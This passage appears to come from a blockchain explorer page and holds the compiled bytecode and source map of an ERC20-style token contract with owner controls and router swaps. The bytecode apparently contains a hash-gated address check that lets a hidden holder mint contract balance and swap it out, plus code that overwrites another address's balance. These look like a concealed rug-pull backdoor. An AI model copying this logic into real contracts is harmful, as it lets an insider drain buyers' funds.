f1690506000611d35600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d30886114e5565b611ec6565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611de85750611de7600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611ec6565b5b8015611e2057508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611e6f5785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611eb9565b818015611e7a575082155b15611eb8578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611eb757600190505b5b5b8093505050509392505050565b600082158015611ed4575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f16578082015181840152602081019050611efb565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f3e82611edc565b611f488185611ee7565b9350611f58818560208601611ef8565b611f6181611f22565b840191505092915050565b60006020820190508181036000830152611f868184611f33565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fc382611f98565b9050919050565b611fd381611fb8565b8114611fde57600080fd5b50565b600081359050611ff081611fca565b92915050565b6000819050919050565b61200981611ff6565b811461201457600080fd5b50565b60008135905061202681612000565b92915050565b6000806040838503121561204357612042611f8e565b5b600061205185828601611fe1565b925050602061206285828601612017565b9150509250929050565b60008115159050919050565b6120818161206c565b82525050565b600060208201905061209c6000830184612078565b92915050565b6120ab81611ff6565b82525050565b60006020820190506120c660008301846120a2565b92915050565b6000602082840312156120e2576120e1611f8e565b5b60006120f084828501612017565b91505092915050565b60008060006060848603121561211257612111611f8e565b5b600061212086828701611fe1565b935050602061213186828701611fe1565b925050604061214286828701612017565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126121715761217061214c565b5b8235905067ffffffffffffffff81111561218e5761218d612151565b5b6020830191508360208202830111156121aa576121a9612156565b5b9250929050565b600080602083850312156121c8576121c7611f8e565b5b600083013567ffffffffffffffff8111156121e6576121e5611f93565b5b6121f28582860161215b565b92509250509250929050565b60006020828403121561221457612213611f8e565b5b600061222284828501611fe1565b91505092915050565b61223481611fb8565b82525050565b600060208201905061224f600083018461222b565b92915050565b6000806040838503121561226c5761226b611f8e565b5b600061227a85828601611fe1565b925050602061228b85828601611fe1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806122dc57607f821691505b6020821081036122ef576122ee612295565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061232b602083611ee7565b9150612336826122f5565b602082019050919050565b6000602082019050818103600083015261235a8161231e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239b82611ff6565b91506123a683611ff6565b92508282026123b481611ff6565b915082820484148315176123cb576123ca612361565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061240c82611ff6565b915061241783611ff6565b925082612427576124266123d2565b5b828204905092915050565b600061243d82611ff6565b915061244883611ff6565b92508282019050808211156124605761245f612361565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006124a082611ff6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124d2576124d1612361565b5b600182019050919050565b60006124e882611ff6565b91506124f383611ff6565b925082820390508181111561250b5761250a612361565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061256d602583611ee7565b915061257882612511565b604082019050919050565b6000602082019050818103600083015261259c81612560565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125ff602383611ee7565b915061260a826125a3565b604082019050919050565b6000602082019050818103600083015261262e816125f2565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061266b601a83611ee7565b915061267682612635565b602082019050919050565b6000602082019050818103600083015261269a8161265e565b9050919050565b60008160601b9050919050565b60006126b9826126a1565b9050919050565b60006126cb826126ae565b9050919050565b6126e36126de82611fb8565b6126c0565b82525050565b60006126f582846126d2565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061274281611fca565b92915050565b60006020828403121561275e5761275d611f8e565b5b600061276c84828501612733565b91505092915050565b6000819050919050565b6000819050919050565b60006127a461279f61279a84612775565b61277f565b611ff6565b9050919050565b6127b481612789565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6127ef81611fb8565b82525050565b600061280183836127e6565b60208301905092915050565b6000602082019050919050565b6000612825826127ba565b61282f81856127c5565b935061283a836127d6565b8060005b8381101561286b57815161285288826127f5565b975061285d8361280d565b92505060018101905061283e565b5085935050505092915050565b600060a08201905061288d60008301886120a2565b61289a60208301876127ab565b81810360408301526128ac818661281a565b90506128bb606083018561222b565b6128c860808301846120a2565b9695505050505050565b60006040820190506128e7600083018561222b565b6128f4602083018461222b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612957602183611ee7565b9150612962826128fb565b604082019050919050565b600060208201905081810360008301526129868161294a565b905091905056fea26469706673582212209bcc9e80b0f9bc6045edd533c96921ea0dc79fb123a514701b4586479c5dc6b164736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806369fe0e2d116100c35780639601f96c1161007c5780639601f96c1461037c578063a457c2d7146103ac578063a9059cbb146103dc578063ab5a18871461040c578063dd62ed3e14610428578063edafd4ad146104585761014d565b806369fe0e2d146102cc57806370a08231146102e8578063715018a6146103185780638da5cb5b14610322578063921714bd1461034057806395d89b411461035e5761014d565b8063313ce56711610115578063313ce5671461020a57806332424aa31461022857806339509351146102465780633eaaf86b1461027657806351177e29146102945780635d0044ca146102b05761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631da1db5e146101be57806323b872dd146101da575b600080fd5b61015a610474565b6040516101679190611f6c565b60405180910390f35b61018a6004803603810190610185919061202c565b610506565b6040516101979190612087565b60405180910390f35b6101a861051d565b6040516101b591906120b1565b60405180910390f35b6101d860048036038101906101d391906120cc565b610527565b005b6101f460048036038101906101ef91906120f9565b610625565b6040516102019190612087565b60405180910390f35b6102126106c6565b60405161021f91906120b1565b60405180910390f35b6102306106d0565b60405161023d91906120b1565b60405180910390f35b610260600480360381019061025b919061202c565b6106d6565b60405161026d9190612087565b60405180910390f35b61027e610774565b60405161028b91906120b1565b60405180910390f35b6102ae60048036038101906102a991906121b1565b61077a565b005b6102ca60048036038101906102c591906120cc565b610859565b005b6102e660048036038101906102e191906120cc565b6108fa565b005b61030260048036038101906102fd91906121fe565b610986565b60405161030f91906120b1565b60405180910390f35b6103206109cf565b005b61032a610b02565b604051610337919061223a565b60405180910390f35b610348610b2b565b60405161035591906120b1565b60405180910390f35b610366610b34565b6040516103739190611f6c565b60405180910390f35b61039660048036038101906103919190612255565b610bc6565b6040516103a39190612087565b60405180910390f35b6103c660048036038101906103c1919061202c565b610c43565b6040516103d39190612087565b60405180910390f35b6103f660048036038101906103f1919061202c565b610d6a565b6040516104039190612087565b60405180910390f35b610426600480360381019061042191906120cc565b610d81565b005b610442600480360381019061043d9190612255565b610e22565b60405161044f91906120b1565b60405180910390f35b610472600480360381019061046d91906121fe565b610ea9565b005b606060098054610483906122c4565b80601f01602080910402602001604051908101604052809291908181526020018280546104af906122c4565b80156104fc5780601f106104d1576101008083540402835291602001916104fc565b820191906000526020600020905b8154815290600101906020018083116104df57829003601f168201915b5050505050905090565b6000610513338484610f62565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16610546610b02565b73ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390612341565b60405180910390fd5b6000479050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846105eb9190612390565b6105f59190612401565b9081150290604051600060405180830381858888f19350505050158015610620573d6000803e3d6000fd5b505050565b600061063284848461112b565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106bb57600080fd5b600190509392505050565b6000600554905090565b60055481565b600061076a338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107659190612432565b610f62565b6001905092915050565b60065481565b60005b8282905081101561085457610790610b02565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036108415760018060008585858181106107da576107d9612466565b5b90506020020160208101906107ef91906121fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061084c90612495565b91505061077d565b505050565b3373ffffffffffffffffffffffffffffffffffffffff16610878610b02565b73ffffffffffffffffffffffffffffffffffffffff16146108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c590612341565b60405180910390fd5b6108e4606460065461148790919063ffffffff16565b8110156108f057600080fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16610919610b02565b73ffffffffffffffffffffffffffffffffffffffff161461096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096690612341565b60405180910390fd5b6005811061097c57600080fd5b8060078190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109ee610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90612341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006002905090565b6060600a8054610b43906122c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6f906122c4565b8015610bbc5780601f10610b9157610100808354040283529160200191610bbc565b820191906000526020600020905b815481529060010190602001808311610b9f57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c3857610c04826114e5565b15610c1957610c12836114e5565b9050610c3d565b610c228261153b565b15610c3757610c308361153b565b9050610c3d565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cce57600080fd5b610d60338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5b91906124dd565b610f62565b6001905092915050565b6000610d7733848461112b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610da0610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded90612341565b60405180910390fd5b610e0c606460065461148790919063ffffffff16565b811015610e1857600080fd5b80600e8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610ec8610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590612341565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890612583565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790612615565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161111e91906120b1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361119d57600080fd5b6111a78383610bc6565b156111bb576111b68183611590565b611482565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561120757600080fd5b6000806112138561185a565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112878686611a38565b905080156112ba576112b760646112a960075487611be890919063ffffffff16565b61148790919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130591906124dd565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828461135491906124dd565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a29190612432565b92505081905550600083111561141957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141091906120b1565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161147691906120b1565b60405180910390a35050505b505050565b60008082116114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c290612681565b60405180910390fd5b600082846114d99190612401565b90508091505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60007f4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc60001b8260405160200161157291906126e9565b60405160208183030381529060405280519060200120149050919050565b6115bd30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f62565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561161e5761161d612704565b5b60405190808252806020026020018201604052801561164c5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061167f5761167e612466565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174a9190612748565b8160018151811061175e5761175d612466565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426117e89190612432565b6040518663ffffffff1660e01b8152600401611808959493929190612878565b600060405180830381600087803b15801561182257600080fd5b505af1158015611836573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ee9190612748565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199b9190612748565b6040518363ffffffff1660e01b81526004016119b89291906128d2565b602060405180830381865afa1580156119d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f99190612748565b9050611a308382611a2b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610986565b611c62565b915050919050565b6000611be08383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad09190612748565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7d9190612748565b6040518363ffffffff1660e01b8152600401611b9a9291906128d2565b602060405180830381865afa158015611bb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bdb9190612748565b611cc0565b905092915050565b6000808303611bfa5760009050611c5c565b60008284611c089190612390565b9050828482611c179190612401565b14611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9061296d565b60405180910390fd5b809150505b92915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611ca557839150611cb4565b8082611cb19190612390565b91505b81925050509392505050565b600080600260149054906101000a900460ff1690506000611d35600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d30886114e5565b611ec6565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611de85750611de7600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611ec6565b5b8015611e2057508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611e6f5785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611eb9565b818015611e7a575082155b15611eb8578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611eb757600190505b5b5b8093505050509392505050565b600082158015611ed4575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f16578082015181840152602081019050611efb565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f3e82611edc565b611f488185611ee7565b9350611f58818560208601611ef8565b611f6181611f22565b840191505092915050565b60006020820190508181036000830152611f868184611f33565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fc382611f98565b9050919050565b611fd381611fb8565b8114611fde57600080fd5b50565b600081359050611ff081611fca565b92915050565b6000819050919050565b61200981611ff6565b811461201457600080fd5b50565b60008135905061202681612000565b92915050565b6000806040838503121561204357612042611f8e565b5b600061205185828601611fe1565b925050602061206285828601612017565b9150509250929050565b60008115159050919050565b6120818161206c565b82525050565b600060208201905061209c6000830184612078565b92915050565b6120ab81611ff6565b82525050565b60006020820190506120c660008301846120a2565b92915050565b6000602082840312156120e2576120e1611f8e565b5b60006120f084828501612017565b91505092915050565b60008060006060848603121561211257612111611f8e565b5b600061212086828701611fe1565b935050602061213186828701611fe1565b925050604061214286828701612017565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126121715761217061214c565b5b8235905067ffffffffffffffff81111561218e5761218d612151565b5b6020830191508360208202830111156121aa576121a9612156565b5b9250929050565b600080602083850312156121c8576121c7611f8e565b5b600083013567ffffffffffffffff8111156121e6576121e5611f93565b5b6121f28582860161215b565b92509250509250929050565b60006020828403121561221457612213611f8e565b5b600061222284828501611fe1565b91505092915050565b61223481611fb8565b82525050565b600060208201905061224f600083018461222b565b92915050565b6000806040838503121561226c5761226b611f8e565b5b600061227a85828601611fe1565b925050602061228b85828601611fe1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806122dc57607f821691505b6020821081036122ef576122ee612295565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061232b602083611ee7565b9150612336826122f5565b602082019050919050565b6000602082019050818103600083015261235a8161231e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239b82611ff6565b91506123a683611ff6565b92508282026123b481611ff6565b915082820484148315176123cb576123ca612361565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061240c82611ff6565b915061241783611ff6565b925082612427576124266123d2565b5b828204905092915050565b600061243d82611ff6565b915061244883611ff6565b92508282019050808211156124605761245f612361565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006124a082611ff6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124d2576124d1612361565b5b600182019050919050565b60006124e882611ff6565b91506124f383611ff6565b925082820390508181111561250b5761250a612361565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061256d602583611ee7565b915061257882612511565b604082019050919050565b6000602082019050818103600083015261259c81612560565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125ff602383611ee7565b915061260a826125a3565b604082019050919050565b6000602082019050818103600083015261262e816125f2565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061266b601a83611ee7565b915061267682612635565b602082019050919050565b6000602082019050818103600083015261269a8161265e565b9050919050565b60008160601b9050919050565b60006126b9826126a1565b9050919050565b60006126cb826126ae565b9050919050565b6126e36126de82611fb8565b6126c0565b82525050565b60006126f582846126d2565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061274281611fca565b92915050565b60006020828403121561275e5761275d611f8e565b5b600061276c84828501612733565b91505092915050565b6000819050919050565b6000819050919050565b60006127a461279f61279a84612775565b61277f565b611ff6565b9050919050565b6127b481612789565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6127ef81611fb8565b82525050565b600061280183836127e6565b60208301905092915050565b6000602082019050919050565b6000612825826127ba565b61282f81856127c5565b935061283a836127d6565b8060005b8381101561286b57815161285288826127f5565b975061285d8361280d565b92505060018101905061283e565b5085935050505092915050565b600060a08201905061288d60008301886120a2565b61289a60208301876127ab565b81810360408301526128ac818661281a565b90506128bb606083018561222b565b6128c860808301846120a2565b9695505050505050565b60006040820190506128e7600083018561222b565b6128f4602083018461222b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612957602183611ee7565b9150612962826128fb565b604082019050919050565b600060208201905081810360008301526129868161294a565b905091905056fea26469706673582212209bcc9e80b0f9bc6045edd533c96921ea0dc79fb123a514701b4586479c5dc6b164736f6c63430008130033

Deployed Bytecode Sourcemap

4337:5955:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8174:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8001:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7796:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5868:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9251:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7717:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4542:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4577:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3021:224;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6131:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6445:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7890:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2329:148;;;:::i;:::-;;2112:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5362:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7636:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3351:379;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5437:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9072:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6305:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4988:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5750:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8174:85;8213:13;8246:5;8239:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8174:85;:::o;8001:167::-;8084:4;8101:37;8110:10;8122:7;8131:6;8101:8;:37::i;:::-;8156:4;8149:11;;8001:167;;;;:::o;7796:88::-;7851:7;7869:12;;7862:19;;7796:88;:::o;5868:218::-;2256:10;2245:21;;:7;:5;:7::i;:::-;:21;;;2237:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5952:17:::1;5972:21;5952:41;;6012:20;;;;;;;;;;;6004:38;;:74;6074:3;6055:16;6043:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;6004:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;5940:146;5868:218:::0;:::o;9251:244::-;9355:4;9372:34;9382:4;9388:9;9399:6;9372:9;:34::i;:::-;9458:6;9425:11;:17;9437:4;9425:17;;;;;;;;;;;;;;;:29;9443:10;9425:29;;;;;;;;;;;;;;;;:39;;9417:48;;;;;;9483:4;9476:11;;9251:244;;;;;:::o;7717:73::-;7760:7;7778:9;;7771:16;;7717:73;:::o;4542:28::-;;;;:::o;5145:211::-;5233:4;5250:76;5259:10;5271:7;5315:10;5280:11;:23;5292:10;5280:23;;;;;;;;;;;;;;;:32;5304:7;5280:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;5250:8;:76::i;:::-;5344:4;5337:11;;5145:211;;;;:::o;4577:58::-;;;;:::o;3021:224::-;3094:6;3089:149;3110:5;;:12;;3106:1;:16;3089:149;;;3162:7;:5;:7::i;:::-;3148:21;;:10;:21;;;3144:83;;3207:4;3190;:14;3195:5;;3201:1;3195:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3190:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;3144:83;3124:3;;;;;:::i;:::-;;;;3089:149;;;;3021:224;;:::o;6131:133::-;2256:10;2245:21;;:7;:5;:7::i;:::-;:21;;;2237:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6209:21:::1;6226:3;6209:12;;:16;;:21;;;;:::i;:::-;6203:2;:27;;6195:36;;;::::0;::::1;;6254:2;6242:9;:14;;;;6131:133:::0;:::o;6445:110::-;2256:10;2245:21;;:7;:5;:7::i;:::-;:21;;;2237:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6522:1:::1;6514:5;:9;